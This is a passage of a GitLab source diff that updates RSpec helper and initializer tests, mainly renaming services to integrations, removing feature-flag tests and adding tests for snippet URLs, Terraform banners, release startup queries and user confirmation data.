@@ -239,8 +239,9 @@ RSpec.describe GitlabRoutingHelper do
let(:blob) { snippet.blobs.first }
let(:ref) { 'snippet-test-ref' }
let(:args) { {} }
+ let(:path) { blob.path }
- subject { gitlab_raw_snippet_blob_url(snippet, blob.path, ref, **args) }
+ subject { gitlab_raw_snippet_blob_url(snippet, path, ref, **args) }
it_behaves_like 'snippet blob raw url'
@@ -248,7 +249,7 @@ RSpec.describe GitlabRoutingHelper do
let(:args) { { inline: true } }
let(:snippet) { personal_snippet }
- it { expect(subject).to eq("http://test.host/-/snippets/#{snippet.id}/raw/#{ref}/#{blob.path}?inline=true") }
+ it { expect(subject).to eq("http://test.host/-/snippets/#{snippet.id}/raw/#{ref}/#{path}?inline=true") }
end
context 'without a ref' do
@@ -257,7 +258,17 @@ RSpec.describe GitlabRoutingHelper do
let(:expected_ref) { snippet.repository.root_ref }
it 'uses the root ref' do
- expect(subject).to eq("http://test.host/-/snippets/#{snippet.id}/raw/#{expected_ref}/#{blob.path}")
+ expect(subject).to eq("http://test.host/-/snippets/#{snippet.id}/raw/#{expected_ref}/#{path}")
+ end
+
+ context 'when snippet does not have a repository' do
+ let(:snippet) { create(:personal_snippet) }
+ let(:path) { 'example' }
+ let(:expected_ref) { Gitlab::DefaultBranch.value }
+
+ it 'uses the instance deafult branch' do
+ expect(subject).to eq("http://test.host/-/snippets/#{snippet.id}/raw/#{expected_ref}/#{path}")
+ end
end
end
end
diff --git a/spec/helpers/integrations_helper_spec.rb b/spec/helpers/integrations_helper_spec.rb
new file mode 100644
index 00000000000..8e652d2f150
--- /dev/null
+++ b/spec/helpers/integrations_helper_spec.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IntegrationsHelper do
+ describe '#integration_event_description' do
+ subject(:description) { helper.integration_event_description(integration, 'merge_request_events') }
+
+ context 'when integration is Jira' do
+ let(:integration) { Integrations::Jira.new }
+
+ it { is_expected.to include('Jira') }
+ end
+
+ context 'when integration is Team City' do
+ let(:integration) { Integrations::Teamcity.new }
+
+ it { is_expected.to include('TeamCity') }
+ end
+ end
+
+ describe '#integration_form_data' do
+ let(:fields) do
+ [
+ :id,
+ :show_active,
+ :activated,
+ :type,
+ :merge_request_events,
+ :commit_events,
+ :enable_comments,
+ :comment_detail,
+ :learn_more_path,
+ :trigger_events,
+ :fields,
+ :inherit_from_id,
+ :integration_level,
+ :editable,
+ :cancel_path,
+ :can_test,
+ :test_path,
+ :reset_path
+ ]
+ end
+
+ let(:jira_fields) do
+ [
+ :jira_issue_transition_automatic,
+ :jira_issue_transition_id
+ ]
+ end
+
+ subject { helper.integration_form_data(integration) }
+
+ context 'with Slack integration' do
+ let(:integration) { build(:integrations_slack) }
+
+ it { is_expected.to include(*fields) }
+ it { is_expected.not_to include(*jira_fields) }
+
+ specify do
+ expect(subject[:reset_path]).to eq(helper.scoped_reset_integration_path(integration))
+ end
+ end
+
+ context 'Jira service' do
+ let(:integration) { build(:jira_integration) }
+
+ it { is_expected.to include(*fields, *jira_fields) }
+ end
+ end
+
+ describe '#scoped_reset_integration_path' do
+ let(:integration) { build_stubbed(:jira_integration) }
+ let(:group) { nil }
+
+ subject { helper.scoped_reset_integration_path(integration, group: group) }
+
+ context 'when no group is present' do
+ it 'returns instance-level path' do
+ is_expected.to eq(reset_admin_application_settings_integration_path(integration))
+ end
+ end
+
+ context 'when group is present' do
+ let(:group) { build_stubbed(:group) }
+
+ it 'returns group-level path' do
+ is_expected.to eq(reset_group_settings_integration_path(group, integration))
+ end
+ end
+
+ context 'when a new integration is not persisted' do
+ let_it_be(:integration) { build(:jira_integration) }
+
+ it 'returns an empty string' do
+ is_expected.to eq('')
+ end
+ end
+ end
+end
diff --git a/spec/helpers/issues_helper_spec.rb b/spec/helpers/issues_helper_spec.rb
index a8a227c8ec4..96aba312ba3 100644
--- a/spec/helpers/issues_helper_spec.rb
+++ b/spec/helpers/issues_helper_spec.rb
@@ -294,7 +294,6 @@ RSpec.describe IssuesHelper do
expected = {
autocomplete_award_emojis_path: autocomplete_award_emojis_path,
- autocomplete_users_path: autocomplete_users_path(active: true, current_user: true, project_id: project.id, format: :json),
calendar_path: '#',
can_bulk_update: 'true',
can_edit: 'true',
@@ -313,8 +312,6 @@ RSpec.describe IssuesHelper do
max_attachment_size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes),
new_issue_path: new_project_issue_path(project, issue: { milestone_id: finder.milestones.first.id }),
project_import_jira_path: project_import_jira_path(project),
- project_labels_path: project_labels_path(project, include_ancestor_groups: true, format: :json),
- project_milestones_path: project_milestones_path(project, format: :json),
project_path: project.full_path,
quick_actions_help_path: help_page_path('user/project/quick_actions'),
reset_path: new_issuable_address_project_path(project, issuable_type: 'issue'),
diff --git a/spec/helpers/namespaces_helper_spec.rb b/spec/helpers/namespaces_helper_spec.rb
index a8a918cbc74..68bc19cb429 100644
--- a/spec/helpers/namespaces_helper_spec.rb
+++ b/spec/helpers/namespaces_helper_spec.rb
@@ -195,26 +195,6 @@ RSpec.describe NamespacesHelper do
end
end
- describe '#cascading_namespace_settings_enabled?' do
- subject { helper.cascading_namespace_settings_enabled? }
-
- context 'when `cascading_namespace_settings` feature flag is enabled' do
- it 'returns `true`' do
- expect(subject).to be(true)
- end
- end
-
- context 'when `cascading_namespace_settings` feature flag is disabled' do
- before do
- stub_feature_flags(cascading_namespace_settings: false)
- end
-
- it 'returns `false`' do
- expect(subject).to be(false)
- end
- end
- end
-
describe '#cascading_namespace_settings_popover_data' do
attribute = :delayed_project_removal
diff --git a/spec/helpers/nav/new_dropdown_helper_spec.rb b/spec/helpers/nav/new_dropdown_helper_spec.rb
index dd860ce3180..e3d9bc5b174 100644
--- a/spec/helpers/nav/new_dropdown_helper_spec.rb
+++ b/spec/helpers/nav/new_dropdown_helper_spec.rb
@@ -13,7 +13,6 @@ RSpec.describe Nav::NewDropdownHelper do
let(:with_can_create_project) { false }
let(:with_can_create_group) { false }
let(:with_can_create_snippet) { false }
- let(:with_new_repo_experiment) { :control }
let(:with_invite_members_experiment) { false }
let(:with_invite_members_experiment_enabled) { false }
@@ -29,7 +28,6 @@ RSpec.describe Nav::NewDropdownHelper do
end
before do
- stub_experiments(new_repo: with_new_repo_experiment)
allow(::Gitlab::Experimentation).to receive(:active?).with(:invite_members_new_dropdown) { with_invite_members_experiment }
allow(helper).to receive(:experiment_enabled?).with(:invite_members_new_dropdown) { with_invite_members_experiment_enabled }
allow(helper).to receive(:tracking_label) { 'test_tracking_label' }
@@ -43,19 +41,6 @@ RSpec.describe Nav::NewDropdownHelper do
allow(user).to receive(:can?).with(:create_snippet) { with_can_create_snippet }
end
- shared_examples 'new repo experiment shared example' do |title|
- let(:with_new_repo_experiment) { :candidate }
-
- it 'has experiment project title' do
- expect(subject[:menu_sections]).to match(
- expected_menu_section(
- title: title,
- menu_item: a_hash_including(title: 'New project/repository')
- )
- )
- end
- end
-
shared_examples 'invite member link shared example' do
it 'shows invite member link' do
expect(subject[:menu_sections]).to eq(
@@ -117,15 +102,13 @@ RSpec.describe Nav::NewDropdownHelper do
title: 'GitLab',
menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
id: 'general_new_project',
- title: 'New project',
+ title: 'New project/repository',
href: '/projects/new',
- data: { track_experiment: 'new_repo', track_event: 'click_link_new_project', track_label: 'plus_menu_dropdown', qa_selector: 'global_new_project_link' }
+ data: { track_event: 'click_link_new_project', track_label: 'plus_menu_dropdown', qa_selector: 'global_new_project_link' }
)
)
)
end
-
- it_behaves_like 'new repo experiment shared example', 'GitLab'
end
context 'when can create group' do
@@ -193,15 +176,13 @@ RSpec.describe Nav::NewDropdownHelper do
title: 'This group',
menu_item: ::Gitlab::Nav::TopNavMenuItem.build(
id: 'new_project',
- title: 'New project',
+ title: 'New project/repository',
href: "/projects/new?namespace_id=#{group.id}",
- data: { track_experiment: 'new_repo', track_event: 'click_link_new_project_group', track_label: 'plus_menu_dropdown' }
+ data: { track_event: 'click_link_new_project_group', track_label: 'plus_menu_dropdown' }
)
)
)
end
-
- it_behaves_like 'new repo experiment shared example', 'This group'
end
context 'when can create subgroup' do
diff --git a/spec/helpers/nav/top_nav_helper_spec.rb b/spec/helpers/nav/top_nav_helper_spec.rb
index d87c751c62f..4d6da258536 100644
--- a/spec/helpers/nav/top_nav_helper_spec.rb
+++ b/spec/helpers/nav/top_nav_helper_spec.rb
@@ -143,7 +143,6 @@ RSpec.describe Nav::TopNavHelper do
css_class: 'qa-projects-dropdown',
data: {
track_event: 'click_dropdown',
- track_experiment: 'new_repo',
track_label: 'projects_dropdown'
},
icon: 'project',
@@ -539,10 +538,18 @@ RSpec.describe Nav::TopNavHelper do
end
context 'with new' do
- let(:with_new_view_model) { { id: 'test-new-view-model' } }
+ let(:with_new_view_model) { { menu_sections: [{ id: 'test-new-view-model' }] } }
it 'has new subview' do
- expect(subject[:views][:new]).to eq({ id: 'test-new-view-model' })
+ expect(subject[:views][:new]).to eq(with_new_view_model)
+ end
+ end
+
+ context 'with new and no menu_sections' do
+ let(:with_new_view_model) { { menu_sections: [] } }
+
+ it 'has new subview' do
+ expect(subject[:views][:new]).to be_nil
end
end
end
diff --git a/spec/helpers/operations_helper_spec.rb b/spec/helpers/operations_helper_spec.rb
index e1bd477bc75..1864f9fad15 100644
--- a/spec/helpers/operations_helper_spec.rb
+++ b/spec/helpers/operations_helper_spec.rb
@@ -20,19 +20,19 @@ RSpec.describe OperationsHelper do
allow(helper).to receive(:can?).with(user, :admin_operations, project) { true }
end
- context 'initial service configuration' do
- let_it_be(:prometheus_service) { PrometheusService.new(project: project) }
+ context 'initial integration configuration' do
+ let_it_be(:prometheus_integration) { ::Integrations::Prometheus.new(project: project) }
before do
- allow(project).to receive(:find_or_initialize_service).and_call_original
- allow(project).to receive(:find_or_initialize_service).with('prometheus').and_return(prometheus_service)
+ allow(project).to receive(:find_or_initialize_integration).and_call_original
+ allow(project).to receive(:find_or_initialize_integration).with('prometheus').and_return(prometheus_integration)
end
it 'returns the correct values' do
expect(subject).to eq(
'alerts_setup_url' => help_page_path('operations/incident_management/integrations.md', anchor: 'configuration'),
'alerts_usage_url' => project_alert_management_index_path(project),
- 'prometheus_form_path' => project_service_path(project, prometheus_service),
+ 'prometheus_form_path' => project_service_path(project, prometheus_integration),
'prometheus_reset_key_path' => reset_alerting_token_project_settings_operations_path(project),
'prometheus_authorization_key' => nil,
'prometheus_api_url' => nil,
@@ -53,15 +53,15 @@ RSpec.describe OperationsHelper do
end
context 'with external Prometheus configured' do
- let_it_be(:prometheus_service, reload: true) do
- create(:prometheus_service, project: project)
+ let_it_be(:prometheus_integration, reload: true) do
+ create(:prometheus_integration, project: project)
end
context 'with external Prometheus enabled' do
it 'returns the correct values' do
expect(subject).to include(
'prometheus_activated' => 'true',
- 'prometheus_api_url' => prometheus_service.api_url
+ 'prometheus_api_url' => prometheus_integration.api_url
)
end
end
@@ -71,7 +71,7 @@ RSpec.describe OperationsHelper do
it 'returns the correct values' do
expect(subject).to include(
'prometheus_activated' => 'false',
- 'prometheus_api_url' => prometheus_service.api_url
+ 'prometheus_api_url' => prometheus_integration.api_url
)
end
end
@@ -79,11 +79,11 @@ RSpec.describe OperationsHelper do
let(:cluster_managed) { false }
before do
- allow(prometheus_service)
+ allow(prometheus_integration)
.to receive(:prometheus_available?)
.and_return(cluster_managed)
- prometheus_service.update!(manual_configuration: false)
+ prometheus_integration.update!(manual_configuration: false)
end
include_examples 'Prometheus is disabled'
@@ -101,7 +101,7 @@ RSpec.describe OperationsHelper do
it 'returns the correct values' do
expect(subject).to include(
'prometheus_authorization_key' => project_alerting_setting.token,
- 'prometheus_api_url' => prometheus_service.api_url
+ 'prometheus_api_url' => prometheus_integration.api_url
)
end
end
diff --git a/spec/helpers/packages_helper_spec.rb b/spec/helpers/packages_helper_spec.rb
index 93d32cb8418..8b3c8411fbd 100644
--- a/spec/helpers/packages_helper_spec.rb
+++ b/spec/helpers/packages_helper_spec.rb
@@ -66,6 +66,7 @@ RSpec.describe PackagesHelper do
end
describe '#show_cleanup_policy_on_alert' do
+ let_it_be(:user) { create(:user) }
let_it_be_with_reload(:container_repository) { create(:container_repository) }
subject { helper.show_cleanup_policy_on_alert(project.reload) }
@@ -203,9 +204,10 @@ RSpec.describe PackagesHelper do
with_them do
before do
+ allow(helper).to receive(:current_user).and_return(user)
allow(Gitlab).to receive(:com?).and_return(com)
stub_config(registry: { enabled: config_registry })
- allow(project).to receive(:container_registry_enabled).and_return(project_registry)
+ allow(project).to receive(:feature_available?).with(:container_registry, user).and_return(project_registry)
stub_application_setting(container_expiration_policies_enable_historic_entries: historic_entries)
stub_feature_flags(container_expiration_policies_historic_entry: false)
stub_feature_flags(container_expiration_policies_historic_entry: project) if historic_entry
diff --git a/spec/helpers/projects/alert_management_helper_spec.rb b/spec/helpers/projects/alert_management_helper_spec.rb
index 9895d06f93a..2450f7838b3 100644
--- a/spec/helpers/projects/alert_management_helper_spec.rb
+++ b/spec/helpers/projects/alert_management_helper_spec.rb
@@ -41,12 +41,12 @@ RSpec.describe Projects::AlertManagementHelper do
end
end
- context 'with prometheus service' do
- let_it_be(:prometheus_service) { create(:prometheus_service, project: project) }
+ context 'with prometheus integration' do
+ let_it_be(:prometheus_integration) { create(:prometheus_integration, project: project) }
- context 'when manual prometheus service is active' do
+ context 'when manual prometheus integration is active' do
it "enables alert management and doesn't show managed prometheus" do
- prometheus_service.update!(manual_configuration: true)
+ prometheus_integration.update!(manual_configuration: true)
expect(data).to include(
'alert-management-enabled' => 'true'
@@ -69,9 +69,9 @@ RSpec.describe Projects::AlertManagementHelper do
end
end
- context 'when prometheus service is inactive' do
+ context 'when prometheus integration is inactive' do
it 'disables alert management and hides managed prometheus' do
- prometheus_service.update!(manual_configuration: false)
+ prometheus_integration.update!(manual_configuration: false)
expect(data).to include(
'alert-management-enabled' => 'false'
@@ -83,7 +83,7 @@ RSpec.describe Projects::AlertManagementHelper do
end
end
- context 'without prometheus service' do
+ context 'without prometheus integration' do
it "doesn't have managed prometheus" do
expect(data).to include(
'has-managed-prometheus' => 'false'
diff --git a/spec/helpers/projects_helper_spec.rb b/spec/helpers/projects_helper_spec.rb
index 1804a9a99cf..75e80f5edbc 100644
--- a/spec/helpers/projects_helper_spec.rb
+++ b/spec/helpers/projects_helper_spec.rb
@@ -138,7 +138,7 @@ RSpec.describe ProjectsHelper do
end
end
- describe "#project_list_cache_key", :clean_gitlab_redis_shared_state do
+ describe "#project_list_cache_key", :clean_gitlab_redis_cache do
let(:project) { project_with_repo }
before do
@@ -876,6 +876,37 @@ RSpec.describe ProjectsHelper do
end
end
+ describe '#show_terraform_banner?' do
+ let_it_be(:ruby) { create(:programming_language, name: 'Ruby') }
+ let_it_be(:hcl) { create(:programming_language, name: 'HCL') }
+
+ subject { helper.show_terraform_banner?(project) }
+
+ before do
+ create(:repository_language, project: project, programming_language: language, share: 1)
+ end
+
+ context 'the project does not contain terraform files' do
+ let(:language) { ruby }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'the project contains terraform files' do
+ let(:language) { hcl }
+
+ it { is_expected.to be_truthy }
+
+ context 'the project already has a terraform state' do
+ before do
+ create(:terraform_state, project: project)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+ end
+ end
+
describe '#project_title' do
subject { helper.project_title(project) }
diff --git a/spec/helpers/registrations_helper_spec.rb b/spec/helpers/registrations_helper_spec.rb
index fa647548b3c..b2f9a794cb3 100644
--- a/spec/helpers/registrations_helper_spec.rb
+++ b/spec/helpers/registrations_helper_spec.rb
@@ -3,30 +3,6 @@
require 'spec_helper'
RSpec.describe RegistrationsHelper do
- using RSpec::Parameterized::TableSyntax
-
- describe '#social_signin_enabled?' do
- before do
- allow(::Gitlab).to receive(:dev_env_or_com?).and_return(com)
- allow(view).to receive(:omniauth_enabled?).and_return(omniauth_enabled)
- allow(view).to receive(:button_based_providers_enabled?).and_return(button_based_providers_enabled)
- allow(view).to receive(:devise_mapping).and_return(double(omniauthable?: omniauthable))
- end
-
- subject { helper.social_signin_enabled? }
-
- where com: [true, false],
- omniauth_enabled: [true, false],
- omniauthable: [true, false],
- button_based_providers_enabled: [true, false]
-
- with_them do
- let(:result) { com && omniauth_enabled && button_based_providers_enabled && omniauthable }
-
- it { is_expected.to eq(result) }
- end
- end
-
describe '#signup_username_data_attributes' do
it 'has expected attributes' do
expect(helper.signup_username_data_attributes.keys).to include(:min_length, :min_length_message, :max_length, :max_length_message, :qa_selector)
diff --git a/spec/helpers/releases_helper_spec.rb b/spec/helpers/releases_helper_spec.rb
index e6bf91ceef6..69f66dc6488 100644
--- a/spec/helpers/releases_helper_spec.rb
+++ b/spec/helpers/releases_helper_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe ReleasesHelper do
describe '#illustration' do
it 'returns the correct image path' do
- expect(helper.illustration).to match(/illustrations\/releases-(\w+)\.svg/)
+ expect(helper.illustration).to match(%r{illustrations/releases-(\w+)\.svg})
end
end
@@ -48,16 +48,6 @@ RSpec.describe ReleasesHelper do
it 'points new_release_path to the "New Release" page' do
expect(helper.data_for_releases_page[:new_release_path]).to eq(new_project_release_path(project))
end
-
- context 'when the "new_release_page" feature flag is disabled' do
- before do
- stub_feature_flags(new_release_page: false)
- end
-
- it 'points new_release_path to the "New Tag" page' do
- expect(helper.data_for_releases_page[:new_release_path]).to eq(new_project_tag_path(project))
- end
- end
end
end
@@ -107,4 +97,42 @@ RSpec.describe ReleasesHelper do
end
end
end
+
+ describe 'startup queries' do
+ describe 'use_startup_query_for_index_page?' do
+ it 'allows startup queries for non-paginated requests' do
+ allow(helper).to receive(:params).and_return({ unrelated_query_param: 'value' })
+
+ expect(helper.use_startup_query_for_index_page?).to be(true)
+ end
+
+ it 'disallows startup queries for requests paginated with a "before" cursor' do
+ allow(helper).to receive(:params).and_return({ unrelated_query_param: 'value', before: 'cursor' })
+
+ expect(helper.use_startup_query_for_index_page?).to be(false)
+ end
+
+ it 'disallows startup queries for requests paginated with an "after" cursor' do
+ allow(helper).to receive(:params).and_return({ unrelated_query_param: 'value', after: 'cursor' })
+
+ expect(helper.use_startup_query_for_index_page?).to be(false)
+ end
+ end
+
+ describe '#index_page_startup_query_variables' do
+ let_it_be(:project) { build(:project, namespace: create(:group)) }
+
+ before do
+ helper.instance_variable_set(:@project, project)
+ end
+
+ it 'returns the correct GraphQL variables for the startup query' do
+ expect(helper.index_page_startup_query_variables).to eq({
+ fullPath: project.full_path,
+ sort: 'RELEASED_AT_DESC',
+ first: 1
+ })
+ end
+ end
+ end
end
diff --git a/spec/helpers/services_helper_spec.rb b/spec/helpers/services_helper_spec.rb
deleted file mode 100644
index 6dd872225ba..00000000000
--- a/spec/helpers/services_helper_spec.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ServicesHelper do
- describe '#integration_form_data' do
- let(:fields) do
- [
- :id,
- :show_active,
- :activated,
- :type,
- :merge_request_events,
- :commit_events,
- :enable_comments,
- :comment_detail,
- :learn_more_path,
- :trigger_events,
- :fields,
- :inherit_from_id,
- :integration_level,
- :editable,
- :cancel_path,
- :can_test,
- :test_path,
- :reset_path
- ]
- end
-
- let(:jira_fields) do
- [
- :jira_issue_transition_automatic,
- :jira_issue_transition_id
- ]
- end
-
- subject { helper.integration_form_data(integration) }
-
- context 'Slack service' do
- let(:integration) { build(:slack_service) }
-
- it { is_expected.to include(*fields) }
- it { is_expected.not_to include(*jira_fields) }
-
- specify do
- expect(subject[:reset_path]).to eq(helper.scoped_reset_integration_path(integration))
- end
- end
-
- context 'Jira service' do
- let(:integration) { build(:jira_service) }
-
- it { is_expected.to include(*fields, *jira_fields) }
- end
- end
-
- describe '#scoped_reset_integration_path' do
- let(:integration) { build_stubbed(:jira_service) }
- let(:group) { nil }
-
- subject { helper.scoped_reset_integration_path(integration, group: group) }
-
- context 'when no group is present' do
- it 'returns instance-level path' do
- is_expected.to eq(reset_admin_application_settings_integration_path(integration))
- end
- end
-
- context 'when group is present' do
- let(:group) { build_stubbed(:group) }
-
- it 'returns group-level path' do
- is_expected.to eq(reset_group_settings_integration_path(group, integration))
- end
- end
-
- context 'when a new integration is not persisted' do
- let_it_be(:integration) { build(:jira_service) }
-
- it 'returns an empty string' do
- is_expected.to eq('')
- end
- end
- end
-end
diff --git a/spec/helpers/sessions_helper_spec.rb b/spec/helpers/sessions_helper_spec.rb
index 027943aecee..816e43669bd 100644
--- a/spec/helpers/sessions_helper_spec.rb
+++ b/spec/helpers/sessions_helper_spec.rb
@@ -3,6 +3,42 @@
require 'spec_helper'
RSpec.describe SessionsHelper do
+ describe '#recently_confirmed_com?' do
+ subject { helper.recently_confirmed_com? }
+
+ context 'when on .com' do
+ before do
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return(true)
+ end
+
+ it 'when flash notice is empty it is false' do
+ flash[:notice] = nil
+ expect(subject).to be false
+ end
+
+ it 'when flash notice is anything it is false' do
+ flash[:notice] = 'hooray!'
+ expect(subject).to be false
+ end
+
+ it 'when flash notice is devise confirmed message it is true' do
+ flash[:notice] = t(:confirmed, scope: [:devise, :confirmations])
+ expect(subject).to be true
+ end
+ end
+
+ context 'when not on .com' do
+ before do
+ allow(Gitlab).to receive(:dev_env_or_com?).and_return(false)
+ end
+
+ it 'when flash notice is devise confirmed message it is false' do
+ flash[:notice] = t(:confirmed, scope: [:devise, :confirmations])
+ expect(subject).to be false
+ end
+ end
+ end
+
describe '#unconfirmed_email?' do
it 'returns true when the flash alert contains a devise failure unconfirmed message' do
flash[:alert] = t(:unconfirmed, scope: [:devise, :failure])
diff --git a/spec/helpers/user_callouts_helper_spec.rb b/spec/helpers/user_callouts_helper_spec.rb
index f68da45bb9a..90333cb0ad5 100644
--- a/spec/helpers/user_callouts_helper_spec.rb
+++ b/spec/helpers/user_callouts_helper_spec.rb
@@ -97,7 +97,17 @@ RSpec.describe UserCalloutsHelper do
allow(helper).to receive(:user_dismissed?).with(described_class::CUSTOMIZE_HOMEPAGE) { false }
end
- it { is_expected.to be true }
+ context 'when user is on the default dashboard' do
+ it { is_expected.to be true }
+ end
+
+ context 'when user is not on the default dashboard' do
+ before do
+ user.dashboard = 'stars'
+ end
+
+ it { is_expected.to be false }
+ end
end
context 'when user dismissed' do
diff --git a/spec/helpers/users_helper_spec.rb b/spec/helpers/users_helper_spec.rb
index 862fd58df04..480b1e2a0de 100644
--- a/spec/helpers/users_helper_spec.rb
+++ b/spec/helpers/users_helper_spec.rb
@@ -364,4 +364,54 @@ RSpec.describe UsersHelper do
expect(data[:paths]).to match_schema('entities/admin_users_data_attributes_paths')
end
end
+
+ describe '#confirm_user_data' do
+ confirm_admin_user_path = '/admin/users/root/confirm'
+
+ before do
+ allow(helper).to receive(:confirm_admin_user_path).with(user).and_return(confirm_admin_user_path)
+ end
+
+ subject(:confirm_user_data) { helper.confirm_user_data(user) }
+
+ it 'sets `path` key correctly' do
+ expect(confirm_user_data[:path]).to eq(confirm_admin_user_path)
+ end
+
+ it 'sets `modal_attributes` key to valid json' do
+ expect(confirm_user_data[:modal_attributes]).to be_valid_json
+ end
+
+ context 'when `user.unconfirmed_email` is set' do
+ let(:user) { create(:user, unconfirmed_email: 'foo@bar.com') }
+
+ it 'sets `modal_attributes.messageHtml` correctly' do
+ expect(Gitlab::Json.parse(confirm_user_data[:modal_attributes])['messageHtml']).to eq('This user has an unconfirmed email address (foo@bar.com). You may force a confirmation.')
+ end
+ end
+
+ context 'when `user.unconfirmed_email` is not set' do
+ it 'sets `modal_attributes.messageHtml` correctly' do
+ expect(Gitlab::Json.parse(confirm_user_data[:modal_attributes])['messageHtml']).to eq('This user has an unconfirmed email address. You may force a confirmation.')
+ end
+ end
+ end
+
+ describe '#admin_user_actions_data_attributes' do
+ subject(:data) { helper.admin_user_actions_data_attributes(user) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ allow(Admin::UserEntity).to receive(:represent).and_call_original
+ end
+
+ it 'user matches the serialized json' do
+ expect(data[:user]).to be_valid_json
+ expect(Admin::UserEntity).to have_received(:represent).with(user, hash_including({ current_user: user }))
+ end
+
+ it 'paths matches the schema' do
+ expect(data[:paths]).to match_schema('entities/admin_users_data_attributes_paths')
+ end
+ end
end
diff --git a/spec/initializers/100_patch_omniauth_saml_spec.rb b/spec/initializers/100_patch_omniauth_saml_spec.rb
index 3496eb4d680..de556cfa1e5 100644
--- a/spec/initializers/100_patch_omniauth_saml_spec.rb
+++ b/spec/initializers/100_patch_omniauth_saml_spec.rb
@@ -7,10 +7,11 @@ RSpec.describe 'OmniAuth::Strategies::SAML', type: :strategy do
let(:strategy) { [OmniAuth::Strategies::SAML, { idp_sso_target_url: idp_sso_target_url }] }
describe 'POST /users/auth/saml' do
- it 'redirects to the provider login page' do
+ it 'redirects to the provider login page', :aggregate_failures do
post '/users/auth/saml'
- expect(last_response).to redirect_to(/\A#{Regexp.quote(idp_sso_target_url)}/)
+ expect(last_response.status).to eq(302)
+ expect(last_response.location).to match(/\A#{Regexp.quote(idp_sso_target_url)}/)
end
it 'stores request ID during request phase' do
diff --git a/spec/initializers/attr_encrypted_no_db_connection_spec.rb b/spec/initializers/attr_encrypted_no_db_connection_spec.rb
index ad3d14ed7d4..34d9e182370 100644
--- a/spec/initializers/attr_encrypted_no_db_connection_spec.rb
+++ b/spec/initializers/attr_encrypted_no_db_connection_spec.rb
@@ -4,18 +4,20 @@ require 'spec_helper'
RSpec.describe 'GitLab monkey-patches to AttrEncrypted' do
describe '#attribute_instance_methods_as_symbols_available?' do
- it 'returns false' do
- expect(ActiveRecord::Base.__send__(:attribute_instance_methods_as_symbols_available?)).to be_falsy
- end
-
- it 'does not define virtual attributes' do
- klass = Class.new(ActiveRecord::Base) do
+ let(:klass) do
+ Class.new(ActiveRecord::Base) do
# We need some sort of table to work on
self.table_name = 'projects'
attr_encrypted :foo
end
+ end
+
+ it 'returns false' do
+ expect(ActiveRecord::Base.__send__(:attribute_instance_methods_as_symbols_available?)).to be_falsy
+ end
+ it 'does not define virtual attributes' do
instance = klass.new
aggregate_failures do
@@ -28,5 +30,11 @@ RSpec.describe 'GitLab monkey-patches to AttrEncrypted' do
end
end
end
+
+ it 'calls attr_changed? method with kwargs' do
+ obj = klass.new
+
+ expect(obj.foo_changed?).to eq(false)
+ end
end
end
diff --git a/spec/initializers/global_id_spec.rb b/spec/initializers/global_id_spec.rb
index 63bfa32d74f..4deb1833999 100644
--- a/spec/initializers/global_id_spec.rb
+++ b/spec/initializers/global_id_spec.rb
@@ -3,8 +3,8 @@
require 'spec_helper'
RSpec.describe 'global_id' do
- it 'prepends `Gitlab::Patch::GlobalID`' do
- expect(GlobalID.ancestors).to include(Gitlab::Patch::GlobalID)
+ it 'prepends `Gitlab::Patch::GlobalId`' do
+ expect(GlobalID.ancestors).to include(Gitlab::Patch::GlobalId)
end
it 'patches GlobalID to find aliased models when a deprecation exists' do
diff --git a/spec/initializers/lograge_spec.rb b/spec/initializers/lograge_spec.rb
index 651b0c8a9b8..a1fd9be299b 100644
--- a/spec/initializers/lograge_spec.rb
+++ b/spec/initializers/lograge_spec.rb
@@ -200,6 +200,8 @@ RSpec.describe 'lograge', type: :request do
%w[
db_primary_wal_count
db_replica_wal_count
+ db_primary_wal_cached_count
+ db_replica_wal_cached_count
db_replica_count
db_replica_cached_count
db_primary_count
diff --git a/spec/initializers/mailer_retries_spec.rb b/spec/initializers/mailer_retries_spec.rb
index c1e56784ad9..a220188cc29 100644
--- a/spec/initializers/mailer_retries_spec.rb
+++ b/spec/initializers/mailer_retries_spec.rb
@@ -2,22 +2,8 @@
require 'spec_helper'
-RSpec.describe 'Mailer retries' do
- # We need to ensure that this runs through Sidekiq to take
- # advantage of the middleware. There is a Rails bug that means we
- # have to do some extra steps to make this happen:
- # https://github.com/rails/rails/issues/37270#issuecomment-553927324
- around do |example|
- descendants = ActiveJob::Base.descendants + [ActiveJob::Base]
- descendants.each(&:disable_test_adapter)
- ActiveJob::Base.queue_adapter = :sidekiq
-
- example.run
-
- descendants.each { |a| a.queue_adapter = :test }
- end
-
- it 'sets retries for mailers to 3', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332645' do
+RSpec.describe 'Mailer retries', :sidekiq_mailers do
+ it 'sets retries for mailers to 3' do
DeviseMailer.user_admin_approval(create(:user)).deliver_later
expect(Sidekiq::Queues['mailers'].first).to include('retry' => 3)
diff --git a/spec/javascripts/lib/utils/mock_data.js b/spec/javascripts/lib/utils/mock_data.js
index c2f79a32377..f1358986f2a 100644
--- a/spec/javascripts/lib/utils/mock_data.js
+++ b/spec/javascripts/lib/utils/mock_data.js
@@ -1 +1 @@
-export * from '../../../frontend/lib/utils/mock_data.js';
+export * from '../../../frontend/lib/utils/mock_data';
diff --git a/spec/lib/api/entities/basic_project_details_spec.rb b/spec/lib/api/entities/basic_project_details_spec.rb
new file mode 100644
index 00000000000..dc7c4fdce4e
--- /dev/null
+++ b/spec/lib/api/entities/basic_project_details_spec.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Entities::BasicProjectDetails do
+ let_it_be(:project) { create(:project) }
+
+ let(:current_user) { project.owner }
+
+ subject(:output) { described_class.new(project, current_user: current_user).as_json }
+
+ describe '#default_branch' do
+ it 'delegates to Project#default_branch_or_main' do
+ expect(project).to receive(:default_branch_or_main).twice.and_call_original
+
+ expect(output).to include(default_branch: project.default_branch_or_main)
+ end
+
+ context 'anonymous user' do
+ let(:current_user) { nil }
+
+ it 'is not included' do
